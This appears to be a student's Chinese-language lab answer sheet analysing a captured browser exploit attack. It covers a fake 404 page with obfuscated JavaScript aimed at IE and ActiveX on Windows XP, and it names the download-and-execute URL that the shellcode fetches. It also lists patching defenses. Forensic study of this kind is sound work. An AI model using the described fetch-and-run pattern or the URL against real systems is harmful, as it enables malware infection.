攻擊者引入了哪些技巧給你的分析帶來了困難,請提供在以前問題中識別的惡意
JavaScript 腳本內容,並對它們進行解碼或解密。
javaScript 混淆與加密,以下圖所示:
惡意頁面假裝成看起來像404頁面:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <meta name="robots" content="noindex"> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /fg/show.php was not found on this server.</p> <script language='JavaScript'> [some script] </script> <noscript></noscript> </body></html>
發送給受害者的漏洞利用程序取決於受害者使用的瀏覽器,這使得肯定漏洞利用者變得更加困難
該漏洞利用程序不容許同一客戶端訪問兩次。
攻擊者的目標是哪一個操做系統,哪些應用軟件,哪些安全漏洞?如何阻止這些攻擊?
首先咱們追蹤TCP 142號流,能夠查看到這是一個針對Windows XP系統的,主要攻擊目標是IE瀏覽器漏洞和含有ActiveX組件漏洞的。
能夠經過修補操做系統和應用程序,進行按期更新以及使用「 ActiveX殺手」或徹底使用其餘Web瀏覽器來防止攻擊。
Shellcode 執行了哪些動做?請列出 Shellcode 的 MD5,並比較它們之間的差別?
Shellcode獲取系統臨時文件路徑,加載urlmon.dll
,從 URL http://sploitme.com.cn/fg/load.php?e=1
檢索可執行文件,而後執行它。 Shellcode 之間的惟一區別是對load.php
腳本的請求中的e
變量,該變量指定發送惡意軟件可執行文件。
在攻擊場景中有二進制可執行惡意代碼參與嗎?它們的目的是什麼?
有。目的是在受害者主機上經過 Internet Explorer 加載 www.honeynet.org
此次實驗太難了,超出了本身的能力範圍
網絡攻防技術與實踐